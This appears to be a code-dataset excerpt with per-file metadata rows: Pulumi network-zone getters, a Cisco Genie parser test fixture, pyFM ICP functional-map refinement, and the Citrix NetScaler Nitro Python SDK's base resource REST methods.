@property
@pulumi.getter
def gateways(self) -> pulumi.Output[Optional[Sequence[str]]]:
"""
Array of values in CIDR/range form.
"""
return pulumi.get(self, "gateways")
@property
@pulumi.getter
def name(self) -> pulumi.Output[str]:
"""
Name of the Network Zone Resource.
"""
return pulumi.get(self, "name")
@property
@pulumi.getter
def proxies(self) -> pulumi.Output[Optional[Sequence[str]]]:
"""
Array of values in CIDR/range form. Can not be set if `usage` is set to `"BLOCKLIST"`.
"""
return pulumi.get(self, "proxies")
@property
@pulumi.getter
def type(self) -> pulumi.Output[str]:
"""
Type of the Network Zone - can either be `"IP"` or `"DYNAMIC"` only.
"""
return pulumi.get(self, "type")
@property
@pulumi.getter
def usage(self) -> pulumi.Output[Optional[str]]:
"""
Usage of the Network Zone - can be either `"POLICY"` or `"BLOCKLIST"`. By default, it is `"POLICY"`.
"""
return pulumi.get(self, "usage")
| 43.271758
| 174
| 0.623307
| 2,982
| 24,362
| 4.938296
| 0.064051
| 0.119517
| 0.100774
| 0.088279
| 0.897392
| 0.883879
| 0.871656
| 0.86147
| 0.847956
| 0.843678
| 0
| 0.011441
| 0.253756
| 24,362
| 562
| 175
| 43.348754
| 0.79857
| 0.374723
| 0
| 0.806897
| 1
| 0
| 0.067601
| 0.001606
| 0
| 0
| 0
| 0
| 0
| 1
| 0.162069
| false
| 0.003448
| 0.017241
| 0
| 0.275862
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
fb43d9997a19a3c96725c9d8f6e20c39889463de
| 1,229
|
py
|
Python
|
src/genie/libs/parser/iosxe/tests/ShowPlatformSoftwareFedSwitchPortSummary/cli/equal/golden_output_expected.py
|
balmasea/genieparser
|
d1e71a96dfb081e0a8591707b9d4872decd5d9d3
|
[
"Apache-2.0"
] | null | null | null |
src/genie/libs/parser/iosxe/tests/ShowPlatformSoftwareFedSwitchPortSummary/cli/equal/golden_output_expected.py
|
balmasea/genieparser
|
d1e71a96dfb081e0a8591707b9d4872decd5d9d3
|
[
"Apache-2.0"
] | null | null | null |
src/genie/libs/parser/iosxe/tests/ShowPlatformSoftwareFedSwitchPortSummary/cli/equal/golden_output_expected.py
|
balmasea/genieparser
|
d1e71a96dfb081e0a8591707b9d4872decd5d9d3
|
[
"Apache-2.0"
] | null | null | null |
expected_output={'interface':{'HundredGigE2/0/35/4': {'if_id': 1285, 'port_enable': 'true'}, 'HundredGigE2/0/35/3': {'if_id': 1284, 'port_enable': 'true'}, 'HundredGigE2/0/35/2': {'if_id': 1283, 'port_enable': 'true'}, 'HundredGigE2/0/35/1': {'if_id': 1282, 'port_enable': 'true'}, 'HundredGigE2/0/33/4': {'if_id': 1281, 'port_enable': 'true'}, 'HundredGigE2/0/33/3': {'if_id': 1280, 'port_enable': 'true'}, 'HundredGigE2/0/33/2': {'if_id': 1279, 'port_enable': 'true'}, 'HundredGigE2/0/33/1': {'if_id': 1278, 'port_enable': 'true'}, 'HundredGigE2/0/31/4': {'if_id': 1277, 'port_enable': 'true'}, 'HundredGigE2/0/31/3': {'if_id': 1276, 'port_enable': 'true'}, 'HundredGigE2/0/31/2': {'if_id': 1275, 'port_enable': 'true'}, 'HundredGigE2/0/31/1': {'if_id': 1274, 'port_enable': 'true'}, 'HundredGigE2/0/29/4': {'if_id': 1273, 'port_enable': 'true'}, 'HundredGigE2/0/29/3': {'if_id': 1272, 'port_enable': 'true'}, 'HundredGigE2/0/29/2': {'if_id': 1271, 'port_enable': 'true'}, 'HundredGigE2/0/29/1': {'if_id': 1270, 'port_enable': 'true'}, 'HundredGigE2/0/27/4': {'if_id': 1269, 'port_enable': 'true'}, 'HundredGigE2/0/27/3': {'if_id': 1268, 'port_enable': 'true'}, 'HundredGigE2/0/27/2': {'if_id': 1267, 'port_enable': 'true'}}}
| 409.666667
| 1,227
| 0.637917
| 193
| 1,229
| 3.860104
| 0.196891
| 0.331544
| 0.357047
| 0.628188
| 0.700671
| 0.700671
| 0
| 0
| 0
| 0
| 0
| 0.150927
| 0.078112
| 1,229
| 2
| 1,228
| 614.5
| 0.50662
| 0
| 0
| 0
| 0
| 0
| 0.610749
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
fb927e09ee1d44fcb225785361422daac139982f
| 6,033
|
py
|
Python
|
pyFM/refine/icp.py
|
Chandler/pyFM
|
7ee034fff55bb333d278503479ce17f32cca4237
|
[
"MIT"
] | null | null | null |
pyFM/refine/icp.py
|
Chandler/pyFM
|
7ee034fff55bb333d278503479ce17f32cca4237
|
[
"MIT"
] | null | null | null |
pyFM/refine/icp.py
|
Chandler/pyFM
|
7ee034fff55bb333d278503479ce17f32cca4237
|
[
"MIT"
] | null | null | null |
import time
import numpy as np
import scipy.linalg
import pyFM.spectral as spectral
def icp_iteration(eigvects1, eigvects2, FM):
"""
Performs an iteration of ICP.
The nearest neighbors are computed so that for each row in Phi2,
we look for the nearest row in Phi1 @ C.T
Parameters
-------------------------
FM : (k2,k1) functional map in reduced basis
eigvects1 : (n1,k1') first k' eigenvectors of the first basis (k1'>k1).
eigvects2 : (n2,k2') first k' eigenvectors of the second basis (k2'>k2)
Output
--------------------------
FM_refined : (k2,k1) An orthogonal functional map after one step of refinement
"""
k2, k1 = FM.shape
p2p = spectral.FM_to_p2p(FM, eigvects1, eigvects2)
FM_icp = spectral.p2p_to_FM(p2p, eigvects1[:, :k1], eigvects2[:, :k2])
U, _, VT = scipy.linalg.svd(FM_icp)
return U @ np.eye(k2, k1) @ VT
def icp_iteration_aux(eigvects1, eigvects2, FM):
"""
Performs an iteration of ICP with another type of query for nearest neighbor.
The nearest neighbors are computed so that for each row in Phi2 @ C,
we look for the nearest row in Phi1
Parameters
-------------------------
FM : (k2,k1) functional map in reduced basis
eigvects1 : (n1,k1') first k' eigenvectors of the first basis (k1'>k1).
eigvects2 : (n2,k2') first k' eigenvectors of the second basis (k2'>k2)
Output
--------------------------
FM_refined : (k2,k1) An orthogonal functional map after one step of refinement
"""
k2, k1 = FM.shape
p2p = spectral.FM_to_p2p_aux(FM, eigvects1, eigvects2)
FM_icp = spectral.p2p_to_FM(p2p, eigvects1[:, :k1], eigvects2[:, :k2])
U, _, VT = scipy.linalg.svd(FM_icp)
return U @ np.eye(k2, k1) @ VT
def icp_refine(eigvects1, eigvects2, FM, nit=None, tol=1e-10, verbose=False):
"""
Refine a functional map using the standard ICP algorithm.
Parameters
--------------------------
eigvects1 : (n1,k1') first k' eigenvectors of the first basis (k1'>k1).
eigvects2 : (n2,k2') first k' eigenvectors of the second basis (k2'>k2)
FM : (k2,k1) functional map in reduced basis
nit : int - Number of iterations to perform. If not specified, uses the tol parameter
tol : float - Maximum change in a functional map to stop refinement
(only used if nit is not specified)
Output
---------------------------
FM_icp : ICP-refined functional map
"""
current_FM = FM.copy()
continue_icp = True
iteration = 0
if verbose:
start_time = time.time()
while continue_icp:
iteration += 1
FM_icp = icp_iteration(eigvects1, eigvects2, current_FM)
if nit is None or nit == 0:
continue_icp = np.max(np.abs(current_FM-FM_icp)) > tol
else:
continue_icp = iteration < nit
if verbose:
print(f'iteration : {iteration} - mean : {np.square(current_FM - FM_icp).mean():.2e}'
f' - max : {np.max(np.abs(current_FM - FM_icp)):.2e}')
current_FM = FM_icp.copy()
if verbose:
run_time = time.time() - start_time
print(f'ICP done with {iteration:d} iterations - {run_time:.2f} s')
return current_FM
def icp_refine_aux(eigvects1, eigvects2, FM, nit=None, tol=1e-10, verbose=False):
"""
Refine a functional map using the auxiliar ICP algorithm (different conversion
from functional map to vertex-to-vertex)
Parameters
--------------------------
eigvects1 : (n1,k1') first k' eigenvectors of the first basis (k1'>k1).
eigvects2 : (n2,k2') first k' eigenvectors of the second basis (k2'>k2)
FM : (k2,k1) functional map in reduced basis
nit : int - Number of iterations to perform. If not specified, uses the tol parameter
tol : float - Maximum change in a functional map to stop refinement
(only used if nit is not specified)
Output
---------------------------
FM_icp : ICP-refined functional map
"""
current_FM = FM.copy()
continue_icp = True
iteration = 1
if verbose:
start_time = time.time()
while continue_icp:
FM_icp = icp_iteration_aux(eigvects1, eigvects2, current_FM)
if nit is None or nit == 0:
continue_icp = np.max(np.abs(current_FM - FM_icp)) > tol
else:
continue_icp = iteration < nit
if verbose:
print(f'iteration : {iteration} - mean : {np.square(current_FM - FM_icp).mean():.2e}'
f' - max : {np.max(np.abs(current_FM - FM_icp)):.2e}')
iteration += 1
current_FM = FM_icp.copy()
if verbose:
run_time = time.time() - start_time
print(f'ICP done with {iteration:d} iterations - {run_time:.2f} s')
return current_FM
def mesh_icp_refine(mesh1, mesh2, FM, nit=None, tol=1e-10, use_aux=False, verbose=False):
"""
Refine a functional map using the auxiliar ICP algorithm (different conversion
from functional map to vertex-to-vertex)
Parameters
--------------------------
mesh1 : TriMesh - Source mesh
mesh2 : TriMesh - Target mesh
FM : (k2,k1) functional map in reduced basis
nit : int - Number of iterations to perform. If not specified, uses the tol parameter
tol : float - Maximum change in a functional map to stop refinement
(only used if nit is not specified)
use_aux : whether to use the second algorithm instead of the original one.
Output
---------------------------
FM_icp : ICP-refined functional map
"""
k2,k1 = FM.shape
if use_aux:
result = icp_refine_aux(mesh1.eigenvectors[:,:k1], mesh2.eigenvectors[:,:k2],
FM, nit=nit, tol=tol, verbose=verbose)
else:
result = icp_refine(mesh1.eigenvectors[:,:k1], mesh2.eigenvectors[:,:k2],
FM, nit=nit, tol=tol, verbose=verbose)
return result
| 34.872832
| 97
| 0.601193
| 813
| 6,033
| 4.366544
| 0.166052
| 0.065915
| 0.030986
| 0.04507
| 0.882254
| 0.874648
| 0.870141
| 0.860563
| 0.82
| 0.796338
| 0
| 0.029935
| 0.26355
| 6,033
| 172
| 98
| 35.075581
| 0.769075
| 0.476214
| 0
| 0.716418
| 0
| 0.029851
| 0.127972
| 0.032168
| 0
| 0
| 0
| 0
| 0
| 1
| 0.074627
| false
| 0
| 0.059701
| 0
| 0.208955
| 0.059701
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
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| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
fbc425623285bac7c4615840c390fb33973a62c5
| 46,442
|
py
|
Python
|
nssrc/com/citrix/netscaler/nitro/resource/base/base_resource.py
|
guardicore/nitro-python
|
5346a5086134aead80968f15a41ff527adaa0ec1
|
[
"Apache-2.0"
] | null | null | null |
nssrc/com/citrix/netscaler/nitro/resource/base/base_resource.py
|
guardicore/nitro-python
|
5346a5086134aead80968f15a41ff527adaa0ec1
|
[
"Apache-2.0"
] | null | null | null |
nssrc/com/citrix/netscaler/nitro/resource/base/base_resource.py
|
guardicore/nitro-python
|
5346a5086134aead80968f15a41ff527adaa0ec1
|
[
"Apache-2.0"
] | null | null | null |
# Copyright (c) 2008-2015 Citrix Systems, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from nssrc.com.citrix.netscaler.nitro.resource.base.base_response import base_response
from nssrc.com.citrix.netscaler.nitro.resource.base.base_responses import base_responses
from nssrc.com.citrix.netscaler.nitro.resource.base.constants import *
from nssrc.com.citrix.netscaler.nitro.exception.nitro_exception import nitro_exception
from nssrc.com.citrix.netscaler.nitro.util.nitro_util import nitro_util
from nssrc.com.citrix.netscaler.nitro.service.options import options
from collections import OrderedDict
import requests
import json
import abc
import inspect
import re
try:
import urllib2
except ImportError:
import urllib.request as urllib2
class base_resource:
__metaclass__ = abc.ABCMeta
# Idempotent flag can't be added for these resources
idempotent_invalid_resources = ["login", "logout", "reboot", "shutdown", "ping", "ping6", "traceroute", "traceroute6", "install"]
# Regex string for extracting text inside <h4> tag from html page
regex_for_h4_tag = r'<(h4)>(.+?)</(h4)>'
@abc.abstractmethod
def _get_nitro_response(self, service, string):
pass
@abc.abstractmethod
def _get_object_name(self):
pass
@classmethod
def get_object_type(cls):
""" Gets the resource type.
Returns:
Resource Type. eg:lbvserver, csvserver.
"""
return cls.__name__
def resource_to_string(self, service):
""" Converts netscaler resource to Json string.
Parameters:
service - nitro_service object.
id - sessionId.
Returns:
string in Json format.
"""
try:
result = service.payload_formatter.resource_to_string(self)
return result
except Exception as e:
raise e
def resource_to_string(self, service):
""" Converts netscaler resource to Json string.
Parameters:
service - nitro_service object
Returns:
string in Json format.
"""
result = service.payload_formatter.resource_to_string(self)
return result
def unset_string(self, service, args):
""" forms a String for unset operation on a resource.
Parameters:
service - nitro_service object.
id - session id.
args - Array of args that are to be unset.
Returns:
string in Json format.
Throws:
Exception if invalid input is given.
"""
try:
result = "{\"" + self.__class__.get_object_type() + "\":"
result = result + service.payload_formatter.unset_string(self, args) + "}"
return result
except Exception as e:
raise e
@staticmethod
def construct_url_queryparams_str(url_params_dict):
"""
Constructs url parameter string from the dict
@param url_params_dict Dictionary of parameters
@return Constructed url parameter string
"""
url_params = ""
for idx, (key, val) in enumerate(url_params_dict.items()):
if idx == 0:
url_params += "?"
else:
url_params += "&"
url_params += (key + "=" + val)
return url_params
def post_requestEx(self, service, opt):
""" Use this method to perform a POST operation on netscaler resource.
Parameters:
service - nitro_service object.
opt - Options class object.
Returns:
requested resource.
Throws:
Exception if invalid input is given.
"""
try:
request = self.resource_to_string(service)
return self.post_dataEx(service, request, opt)
except Exception as e:
raise e
def post_request(self, service, opt):
""" Use this method to perform a Add operation on netscaler resource.
Parameters:
service - nitro_service object.
opt - Options class object.
Returns:
status of the operation performed.
Throws:
Exception if invalid input is given.
"""
try:
request = self.resource_to_string(service)
return self.post_data(service, request, opt)
except Exception as e:
raise e
def unset_request(self, service, opt, args):
""" Use this method to perform an Unset operation on netscaler resource.
Parameters:
service - nitro_service object.
opt - options class object.
args - string.
Returns:
status of the operation performed.
Throws:
Exception
"""
try:
request = self.unset_string(service, args)
return self.post_data(service, request, opt)
except Exception as e:
raise e
def add_resource(self, service, opt=""):
""" Use this method to perform a add operation on netscaler resource.
Parameters:
service - nitro_service object.
opt - options class object.
Returns:
status of the operation performed.
Throws:
Exception
"""
try:
if not service.isLogin():
service.login()
request = self.resource_to_string(service)
return self.post_data(service, request, opt)
except Exception as e:
raise e
def update_resource(self, service):
""" Use this method to perform a modify operation on netscaler resource.
Parameters:
service - nitro_service object.
opt - options class object.
Returns:
status of the operation performed.
Throws:
Exception
"""
try:
if not service.isLogin():
service.login()
request = self.resource_to_string(service)
return self.put_data(service, request)
except Exception as e:
raise e
def delete_resource(self, service):
""" Use this method to perform a delete operation on netscaler resource.
Parameters:
service - nitro_service object
Returns:
status of the operation performed.
Throws:
Exception of the type nitro_exception is thrown.
"""
try:
if not service.isLogin() :
service.login()
str_ = nitro_util.object_to_string_withoutquotes(self)
response = self.delete_request(service, str_)
return response
except Exception as e:
raise e
def getfiltered(self, service, opt):
""" Use this method to perform a filtered get operation on netscaler resource.
Parameters:
service - nitro_service object.
opt - options class object.
Returns:
Array of nitro resources of given resource type.
Throws:
Exception of the type nitro_exception is thrown.
"""
try:
if (not service.isLogin()):
service.login()
response = self.get_request(service, opt)
return response
except Exception as e:
raise e
def get_resources(self, service, opt=""):
""" Use this method to perform a get operation on netscaler resource.
Parameters:
service - nitro_service object.
opt - options class object.
Returns:
Array of nitro resources of specified type.
Throws:
Exception of the type nitro_exception is thrown.
"""
try:
if (not service.isLogin()):
service.login()
response = self.get_request(service, opt)
return response
except Exception as e:
raise e
def get_resource(self, service, opt=""):
""" Use this method to perform a get operation on netscaler resource.
Parameters:
service - nitro_service object.
opt - options class object.
Returns:
Array of nitro resources of specified type.
Throws:
Exception of the type nitro_exception is thrown.
"""
try:
if (not service.isLogin()):
service.login()
response = self.get_request(service, opt)
if type(response) is list:
return response[0]
else :
return response
return None
except Exception as e:
raise e
def stat_resources(self, service, opt="") :
""" Use this method to perform a stat operation on netscaler resources.
Parameters:
service - nitro_service object.
opt - options class object.
Returns:
Array of nitro stat resources of specified type.
Throws:
Exception of the type nitro_exception is thrown.
"""
try:
if not service.isLogin() :
service.login()
response = self.stat_request(service, opt)
return response
except Exception as e:
raise e
def stat_resource(self, service, opt=""):
""" Use this method to perform a stat operation on a netscaler resource.
Parameters:
service - nitro_service object.
opt - options class object.
Returns:
Requested Nitro stat resource.
Throws:
Exception of the type nitro_exception is thrown.
"""
try:
if (not service.isLogin()):
service.login()
response = self.stat_request(service, opt)
if (response and len(response) > 0) :
return response[0]
return None
except Exception as e:
raise e
def perform_operation(self, service, action="", opt=""):
""" Use this method to perform a clear/sync/link/unlink/save ...etc
operation on netscaler resource.
Parameters:
service - nitro_service object.
action - action needs to be taken on resource.
opt - options object with action that is to be performed set.
Returns:
status of the operation performed.
Throws:
Exception of the type nitro_exception is thrown.
"""
try:
if (not service.isLogin() and self.__class__.get_object_type()!="login"):
service.login()
if not opt and not action:
return self.post_request(service, None)
elif not opt :
opt = options()
opt.action = action
response = self.post_request(service, opt)
return response
except Exception as e:
raise e
def perform_operationEx(self, service, action=""):
""" Use this method to perform a POST operation that returns a resource ...etc
operation on netscaler resource.
Parameters:
service - nitro_service object.
action - action needs to be taken on resource.
Returns:
requested resource
Throws:
Exception of the type nitro_exception is thrown.
"""
try:
if (not service.isLogin() and self.__class__.get_object_type() != "login"):
service.login()
opt = options()
opt.action = action
response = self.post_requestEx(service, opt)
return response
except Exception as e:
raise e
@classmethod
def perform_operation_bulk_request(cls, service, resources, action ):
""" Use this method to perform a clear/sync/link/unlink/save ...etc
operation on netscaler resources.
Parameters:
service - nitro_service object.
resources - Array of Nitro resources on which the specified action to be performed.
opt - options object with action that is to be performed set.
Returns:
status of the operation performed.
Throws:
Exception of the type nitro_exception is thrown.
"""
try:
if (not service.isLogin()):
service.login()
opt = options()
opt.action = action
resource_name = cls.__name__
if resource_name == "macroapi":
request = service.payload_formatter.resource_to_string_macroapi(resources)
else:
request = service.payload_formatter.resource_to_string_bulk(resources)
result = cls.post_bulk_data(service, request, opt)
return result
except Exception as e:
raise e
def rename_resource(self, service, newname):
""" Use this method to perform a rename operation on netscaler resource.
Parameters:
service - nitro_service object.
newname - new name to be set to the specified resource.
Returns:
status of the operation performed.
Throws:
Exception of the type nitro_exception is thrown.
"""
try:
if not service.isLogin():
service.login()
if '_newname' in self.__dict__ :
self.newname = newname
else :
raise nitro_exception(-1,str("Rename is not supported for this resource"),)
opt = options()
opt.action = "rename"
response = self.post_request(service, opt)
return response
except Exception as e:
raise e
def unset_resource(self, service, args):
""" Use this method to perform an Unset operation on netscaler resource.
Parameters:
service - nitro_service object.
args - Array of args that are to be unset.
Returns:
status of the operation performed.
Throws:
Exception of the type nitro_exception is thrown.
"""
try:
if not service.isLogin():
service.login()
opt = options()
opt.action = "unset"
response = self.unset_request(service, opt, args)
return response
except Exception as e:
raise e
@classmethod
def update_bulk_request(cls, service, resources):
""" Use this method to perform an update operation on netscaler resources.
Parameters:
service - nitro_service object.
resources - Array of nitro resources to be updated.
Returns:
status of the operation performed.
Throws:
Exception of the type nitro_exception is thrown.
"""
try:
if (not service.isLogin()):
service.login()
resource_name = cls.__name__
if resource_name == "macroapi":
request = service.payload_formatter.resource_to_string_macroapi(resources)
else:
request = service.payload_formatter.resource_to_string_bulk(resources)
result = cls.put_bulk_data(service, request)
return result
except Exception as e:
raise e
@classmethod
def unset_bulk_request(cls, service, resources, args):
try:
if (not service.isLogin()):
service.login()
opt = options()
opt.action = "unset"
request = service.payload_formatter.unset_string_bulk(resources, args)
return cls.post_bulk_data(service, request, opt)
except Exception as e:
raise e
@classmethod
def add_bulk_request(cls, service, resources, opt=""):
""" Use this method to perform a add operation on netscaler resources.
Parameters:
service - nitro_service object.
resources - Nitro resources to be added on netscaler.
opt - options class object.
Returns:
status of the performed operation.
Throws:
Exception Nitro exception is thrown.
"""
try:
if not service.isLogin():
service.login()
resource_name = cls.__name__
if resource_name == "macroapi":
request = service.payload_formatter.resource_to_string_macroapi(resources)
else:
request = service.payload_formatter.resource_to_string_bulk(resources)
result = cls.post_bulk_data(service, request, opt)
return result
except Exception as e:
raise e
@classmethod
def delete_bulk_request(cls, service, resources, opt=""):
""" Use this method to perform a delete operation on netscaler resources.
Parameters:
service - nitro_service object.
resources - Nitro resources to be deleted on netscaler.
opt - options class object.
Returns:
status of the performed operation.
Throws:
Exception Nitro exception is thrown.
"""
try:
if (not service.isLogin()):
service.login()
opt = options()
opt.action = "rm"
resource_name = cls.__name__
if resource_name == "macroapi":
request = service.payload_formatter.resource_to_string_macroapi(resources)
else:
type_ = resources[0].__class__.get_object_type()
if (type_.find("_binding") > 0):
opt.action = "unbind"
request = service.payload_formatter.resource_to_string_bulk(resources)
result = cls.post_bulk_data(service, request, opt)
return result
except Exception as e:
raise e
@staticmethod
def _put(resourcetype, service, request, bulk=""):
""" This method, forms the http PUT request, applies on the netscaler.
Reads the response from the netscaler and converts it to base response.
Parameters:
service - nitro_service object.
request - Json request.
Returns:
status of the operation performed.
Throws:
Exception of the type nitro_exception is thrown.
"""
try :
if (service.isMasContext):
ipaddress = service.mas_ipaddress
else :
ipaddress = service.ipaddress
version = service.version
protocol = service.protocol
if inspect.isclass(resourcetype) :
resrc_type = resourcetype.get_object_type()
urlstr = protocol+"://" + ipaddress + "/nitro/" + version + "/config/" + resrc_type
else :
resrc_type = resourcetype.__class__.get_object_type()
urlstr = protocol+"://" + ipaddress + "/nitro/" + version + "/config/" + resrc_type
name = str(resourcetype._get_object_name())
if (name and len(name) > 0):
urlstr = urlstr+"/"+ str(nitro_util.encode(nitro_util.encode(name)))
warning = service.warning
onerror = service.onerror
skipinvalidarg = service.skipinvalidarg
idempotent = service.idempotent
url_params_dict = OrderedDict()
if warning and warning==True :
url_params_dict["warning"]= "yes"
if skipinvalidarg:
url_params_dict["skipinvalidarg"] = "yes"
# Add idempotent flag if resource-name doesn't have "_binding" and is not one of idempotent_invalid_resources
if idempotent and ("_binding" not in resrc_type) and (resrc_type not in base_resource.idempotent_invalid_resources):
url_params_dict["idempotent"] = "yes"
urlstr += base_resource.construct_url_queryparams_str(url_params_dict)
if bulk :
headers = {'Content-type': 'application/vnd.com.citrix.netscaler.'+ resrc_type +'_list+json','Connection': 'keep-alive'}
else :
headers = {'Content-type': 'application/vnd.com.citrix.netscaler.'+ resrc_type +'+json','Connection': 'keep-alive'}
if onerror:
headers['X-NITRO-ONERROR'] = onerror
headers['User-Agent'] = "nitropython-ctxadc"
retry = True
retries = 0
while retry:
# set sessionid in headers
if service.isMasContext:
headers['Cookie'] = 'SESSID='+service.mas_sessionid
headers['_MPS_API_PROXY_MANAGED_INSTANCE_IP'] = service.mas_target_nsip
elif service.basic_auth:
headers['Authorization'] = service.get_basic_auth_str()
else :
headers['Set-Cookie'] = 'NITRO_AUTH_TOKEN='+ service.sessionid
response = requests.put(urlstr, data=request, headers=headers, verify = service.certvalidation, timeout=(service.connection_timeout,service.read_timeout))
if not response.ok:
#return '{"errorcode":0,"severitnc:"Done","message":"DONEXXX"}'
#return '{"errorcode":123,"severity":"ERROR","message":"ERROR-INJCTED"}'
#return '{"errorcode":777,"severity":"None","message":"some member bindings failed", "servicegroup_servicegroupmemberlist_binding":[{"failed_member_list":[{"ip":"1.2.3.4","port":80},{"ip":"5.6.7.8","port":81}]}]}'
#return '{ "errorcode": 1243, "message": "Bulk operation failed", "severity": "ERROR", "response": [ { "errorcode": 273, "message": "Resource already exists", "severity": "ERROR" , "servicegroup_servicegroupmemberlist_binding":[{"failed_member_list":[{"ip":"1.1.1.1","port":88}]}]}, { "errorcode": 1265, "message": "command not attempted for configuration", "severity": "WARNING" } ] }'
# in case of "bulk request" - '200' Ok is returned as statuscode for session expiry error,
# hence it will not be handled in above if block
response = json.loads(response.text)
if not service.isMasContext and response["errorcode"] in [NSERR_SESSION_EXPIRED, NSERR_AUTHTIMEOUT] and retries < MAX_LOGIN_RETRIES_ALLOWED:
retries += 1
# Re-Login
service.clear_session()
service.login()
else:
#response returned by MAS in case of error does not have severity..
try:
response["severity"]
except KeyError:
response["severity"] = "ERROR"
raise nitro_exception((response['errorcode']), str(response['message']), str(response['severity']))
elif bulk:
response_json = json.loads(response.text)
if not service.isMasContext and response_json["errorcode"] in [NSERR_SESSION_EXPIRED, NSERR_AUTHTIMEOUT] and retries < MAX_LOGIN_RETRIES_ALLOWED:
retries += 1
# Re-Login
service.clear_session()
service.login()
else:
return response.text
else:
if response.text:
return response.text
nitro_response = {}
nitro_response['errorcode'] = 0
nitro_response['message'] = "Done"
nitro_response['severity']= ""
return json.dumps(nitro_response)
except Exception as e:
raise e
def put_data(self, service, request):
try:
response = self._put(self, service, request)
if self.is_desiredstate_api(self):
return self._get_nitro_response(service, response)
result = service.payload_formatter.string_to_resource(base_response, response, self.__class__.__name__)
if (result.errorcode != 0):
if (result.severity):
if(result.severity == "ERROR"):
raise nitro_exception(result.errorcode, str(result.message), str(result.severity))
else :
raise nitro_exception(result.errorcode, str(result.message), str(result.severity))
return result
except Exception as e:
raise e
@classmethod
def put_bulk_data(cls, service, request):
try:
is_bulk_request = True
if cls.__name__ == "macroapi":
is_bulk_request = False
response = cls._put(cls, service, request, is_bulk_request)
# if cls.is_desiredstate_api(cls):
# return cls._get_nitro_response_bulk(cls, service, response)
result =service.payload_formatter.string_to_resource(base_responses, response, cls.__name__)
if (result.errorcode != 0):
if(result.severity):
if(result.severity == "ERROR"):
raise nitro_exception(result.errorcode, str(result.message), str(result.severity), result.response)
else:
raise nitro_exception(result.errorcode, str(result.message), str(result.severity), result.response)
return result
except Exception as e:
raise e
@staticmethod
def _post(resourcetype, service, request, opt, bulk=""):
""" This method, forms the http POST request, applies on the netscaler.
Reads the response from the netscaler and converts it to base response.
Parameters:
service - nitro_service object.
request - Json request.
Returns:
status of the operation performed.
Throws:
Exception
"""
try:
if (service.isMasContext):
ipaddress = service.mas_ipaddress
else :
ipaddress = service.ipaddress
version = service.version
protocol = service.protocol
if inspect.isclass(resourcetype) :
resrc_type = resourcetype.get_object_type()
else :
resrc_type = resourcetype.__class__.get_object_type()
urlstr = protocol+"://" + ipaddress + "/nitro/" + version + "/config/" + resrc_type
warning = service.warning
onerror = service.onerror
skipinvalidarg = service.skipinvalidarg
idempotent = service.idempotent
url_params_dict = OrderedDict()
if opt :
if opt.action :
url_params_dict["action"] = opt.action
if warning and warning==True :
url_params_dict["warning"] = "yes"
if skipinvalidarg :
url_params_dict["skipinvalidarg"] = "yes"
# Add idempotent flag only if action is empty and resource-name doesn't have "_binding" and is not one of idempotent_invalid_resources
if idempotent and not (opt and opt.action) and ("_binding" not in resrc_type) and (resrc_type not in base_resource.idempotent_invalid_resources):
url_params_dict["idempotent"] = "yes"
urlstr += base_resource.construct_url_queryparams_str(url_params_dict)
if bulk :
headers = {'Content-type': 'application/vnd.com.citrix.netscaler.'+ resrc_type +'_list+json','Connection': 'keep-alive'}
else :
headers = {'Content-type': 'application/vnd.com.citrix.netscaler.'+ resrc_type +'+json','Connection': 'keep-alive'}
if onerror:
headers["X-NITRO-ONERROR"] = onerror
headers['User-Agent'] = "nitropython-ctxadc"
retry = True
retries = 0
while retry:
# set sessionid in headers
if service.isMasContext:
headers['Cookie'] = 'SESSID='+service.mas_sessionid
headers['_MPS_API_PROXY_MANAGED_INSTANCE_IP'] = service.mas_target_nsip
elif service.basic_auth:
headers['Authorization'] = service.get_basic_auth_str()
elif service.sessionid:
headers['Set-Cookie'] = 'NITRO_AUTH_TOKEN='+ service.sessionid
response = requests.post(urlstr, data=request, headers=headers, verify = service.certvalidation, timeout=(service.connection_timeout,service.read_timeout))
if not response.ok:
# in case of "bulk request" - '200' Ok is returned as statuscode for session expiry error,
# hence it will not be handled in above if block
response = json.loads(response.text)
if not service.isMasContext and response["errorcode"] in [NSERR_SESSION_EXPIRED, NSERR_AUTHTIMEOUT] and retries < MAX_LOGIN_RETRIES_ALLOWED:
retries += 1
# Re-Login
service.clear_session()
service.login()
else:
#response returned by MAS in case of error does not have severity..
try:
response["severity"]
except KeyError:
response["severity"] = "ERROR"
raise nitro_exception((response['errorcode']), str(response['message']), str(response['severity']))
elif bulk and response.text :
response_json = json.loads(response.text)
if not service.isMasContext and response_json["errorcode"] in [NSERR_SESSION_EXPIRED, NSERR_AUTHTIMEOUT] and retries < MAX_LOGIN_RETRIES_ALLOWED:
retries += 1
# Re-Login
service.clear_session()
service.login()
else:
return response.text
else:
response_needed = resourcetype.is_responseneeded(resrc_type,opt)
if response_needed and response.text :
return response.text
nitro_response = {}
if resrc_type == "login" :
nitro_response['sessionid']=urllib2.unquote(response.cookies['NITRO_AUTH_TOKEN'])
nitro_response['errorcode'] = 0
nitro_response['message'] = "Done"
nitro_response['severity']= ""
return json.dumps(nitro_response)
except Exception as e:
raise e
